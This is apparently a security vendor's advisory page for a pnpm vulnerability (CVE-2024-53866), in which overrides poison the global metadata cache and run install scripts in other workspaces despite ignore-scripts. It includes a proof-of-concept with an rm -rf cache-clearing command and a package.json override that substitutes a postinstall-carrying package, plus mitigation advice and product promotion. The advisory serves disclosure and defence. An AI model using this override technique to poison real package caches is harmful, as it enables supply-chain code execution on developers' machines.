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GHSA-vm32-9rqf-rh3r — pnpm

Fix: pnpm/pnpm@11afcdd

GHSA-vm32-9rqf-rh3r is a CWE-426 vulnerability in pnpm. A fix is available for pnpm — see the affected versions and patch details below.

pnpm no-script global cache poisoning via overrides / `ignore-scripts` evasion

Also known asCVE-2024-53866
Published
Dec 10, 2024
Updated
Sep 10, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 24, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-vm32-9rqf-rh3r.

EPSS Exploitation Probability

via FIRST.org ↗
1.0%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs61th percentile — riskier than 61% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

400other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
pnpmnpm
128.9Mdownloads / week

Description

Summary

pnpm seems to mishandle overrides and global cache:

  1. Overrides from one workspace leak into npm metadata saved in global cache
  2. npm metadata from global cache affects other workspaces
  3. installs by default don't revalidate the data (including on first lockfile generation)

This can make workspace A (even running with ignore-scripts=true) posion global cache and execute scripts in workspace B

Users generally expect ignore-scripts to be sufficient to prevent immediate code execution on install (e.g. when the tree is just repacked/bundled without executing it).

Here, that expectation is broken

Details

See PoC.

In it, overrides from a single run of A get leaked into e.g. ~/Library/Caches/pnpm/metadata/registry.npmjs.org/rimraf.json and persistently affect all other projects using the cache

PoC

Postinstall code used in PoC is benign and can be inspected in https://www.npmjs.com/package/ponyhooves?activeTab=code, it's just a console.log

  1. Remove store and cache On mac: rm -rf ~/Library/Caches/pnpm ~/Library/pnpm/store This step is not required in general, but we'll be using a popular package for PoC that's likely cached
  2. Create A/package.json:
    {
      "name": "A",
      "pnpm": { "overrides": { "rimraf>glob": "npm:ponyhooves@1" } },
      "dependencies": { "rimraf": "6.0.1" }
    }
    
    Install it with pnpm i --ignore-scripts (the flag is not required, but the point of the demo is to show that it doesn't help)
  3. Create B/package.json:
    {
      "name": "B",
      "dependencies": { "rimraf": "6.0.1" }
    }
    
    Install it with pnpm i

Result:

Packages: +3
+++
Progress: resolved 3, reused 3, downloaded 0, added 3, done
node_modules/.pnpm/[email protected]/node_modules/ponyhooves: Running postinstall script, done in 51ms

dependencies:
+ rimraf 6.0.1

Done in 1.4s

Also, that code got leaked into another project and it's lockfile now!

Impact

Global state integrity is lost via operations that one would expect to be secure, enabling subsequently running arbitrary code execution on installs

As a work-around, use separate cache and store dirs in each workspace

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmpnpmall versions9.15.0npm install pnpm@9.15.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pnpm, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update pnpm to 9.15.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-vm32-9rqf-rh3r is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-vm32-9rqf-rh3r can be triaged on real exposure rather than presence alone.

Tailored to GHSA-vm32-9rqf-rh3r. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary pnpm seems to mishandle overrides and global cache: 1. Overrides from one workspace leak into npm metadata saved in global cache 2. npm metadata from global cache affects other workspaces 3. installs by default don't revalidate the data (including on first lockfile generation) This can make workspace A (even running with `ignore-scripts=true`) posion global cache and execute scripts in workspace B Users generally expect `ignore-scripts` to be sufficient to prevent immediate code execution on install (e.g. when the tree is just repacked/bundled without executing it). Here, that
O3 Security · Impact-Aware SCA

Is GHSA-vm32-9rqf-rh3r in your dependencies?

O3 Security finds GHSA-vm32-9rqf-rh3r across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-vm32-9rqf-rh3r: pnpm RCE | O3 Security